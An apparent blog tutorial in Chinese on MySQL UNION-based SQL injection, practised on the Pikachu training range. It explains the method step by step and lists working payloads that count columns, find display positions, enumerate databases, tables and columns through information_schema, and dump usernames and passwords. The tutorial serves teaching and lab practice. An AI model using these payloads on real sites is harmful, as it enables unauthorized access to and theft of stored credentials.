联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。至于为什么需要版本是5.0以上的MYSQL数据库,是因为MYSQL会有一个系统数据库information_schema,能很快的通过几条注入语句获取到想要的数据。
union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们后面要对字段数进行判断。
mysql中,union用于将多个select语句的结果组合到一个结果集中,并删除结果集中的重复数据。
语法为:
select column,...from table1 union select column,...from table2;
实际用例:
select Host from user union select User from user;
在kali中实际操作来加深理解一下,如何在kali中进入mysql可以看我的另一篇博客
kali普通用户获取root权限以及用kali进入mysql的学习笔记_ZredamanJ的博客-CSDN博客_kali给普通用户root权限
在mysql数据库中查询所有的表
show tables;
查询user表中的字段
show columns from user;
这是使用select直接查询的方式
select Host from user;
select User from user;
使用union select 查询的方式
select Host from user union select User from user;
可以看到union select将select语句的结果整合的一个结果集,并删除重复的数据。
联合注入的过程
1、判断注入点
2、判断是闭合形式
3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
假如存在这么一个参数?id=1
可以在参数后面加个单引号或者双引号看是否爆sql语法的错误
?id=1'
?id=1"
如爆sql语法的错误,则可判断存在sql注入,如果爆其它错误,也许是管理人员设的WAF,得根据其它测试来判断。
推荐一篇别人判断闭合形式的总结,写得不错,我就不班门弄斧了。
SQL注入基础--判断闭合形式_小菜的博客-CSDN博客_sql注入闭合方式
在皮卡丘靶场对博客的总结进行一波实验
一、找到数字型闭合形式的题,在bp抓包
在1后面加上单引号,发现报错
在1后面加上双引号,也发现报错
二、切换的字符型的题目尝试一下
在1后面加上单引号,发现报错
在1后面加双引号,没报错
到这大致可以证明那篇博客的准确性,如果觉得还不能确定,可以继续手动加上注释符试试。
正常的查询列数的语句为
1' order by 1--+
1' order by 2--+
order by 1的含义是排序第一个栏位,order by 2排序第二个栏位。
当order by 3时排序第三个栏位回显正常,而order by 4回显错误,可以判断出当前sql语句向该表查询了三个字段。例如下面这个例子,web服务器向Users表中查询了user、passwd、id三个字段:
select user,passwd,id from Users
而实际上Users表可能有user、passwd、id、host、ip等字段,所以说order by只是判断了当前sql语句查询的字段数,并不是判断Users表中有几个列,目的是为了符合union的用法,即有相同的字段数。
重点:order by是对数据库中返回结果的排序,而不是对数据库的表里面列的排序。
知道了列数我们还需要查询回显位,因为虽然知道了列数,但我们要sql注入返回信息到我们手中。
对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个列会回显,得用union select 1,2,3来查看回显位。
union select后面加数字串时,如果没有后面的表名,该语句没有向任何一个数据库查询,那么它输出的内容就是我们select后的数字(数字串不一定要1,2,3,也可以是随便的数字如1,342,3522)。
常用的判断回显位语句
-1' union select 1,2,3--+
正常情况下,如果存在与sql数据库交互的地方进行查询时,web服务器自动拼接一个select语句。
这时候攻击者可以构造payload来闭合,从而形成逃逸,可以任意执行sql语句,类似上面的payload。
上图中的是数字型注入,所以不用闭合,直接执行sql注入。
如果是字符型的,查询语句就是这样
Select * from Article where id='36'
这个时候输入我们的payload,向数据库查询的语句则是
Select * from Article where id='-1' union select 1,2,3--+'
恰好符合我们的union select的语法,完成查询。
这里一定得是-1 union......,而不是1 union.....因为程序在展示数据的时候通常只会取结果集的第一行数据,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。
只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了
懂了前面这些,后面的查库名之类的就很简单了,就固定语句而已。
以下的查询都以字符型为例,查询全部的数据库,group_concat是将查询出的结果整合到一起,带出所有数据。
-1' union select 1,group_concat(schema_name) from information_schema.schemata#
查询当前使用的数据库
-1' union select 1,database()#
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
-1' union select username,password from users#
有时候得#并不会起注释作用,得换成%23,具体原因是
#号在url上时并不等价与%23,因为浏览器会将url中的#看做一个页面标记符,定位你看到一个网页中的那一个部分了,所以并不会随着负载进入后端,也就起不来注释作用。
https://blog.csdn.net/weixin_42277564/article/details/80583959
sql注入之union联合注入_k1ling的博客-CSDN博客_union注入
mysql中union怎么使用 - MySQL数据库 - 亿速云 (yisu.com)
SQL ORDER BY 子句 (w3school.com.cn)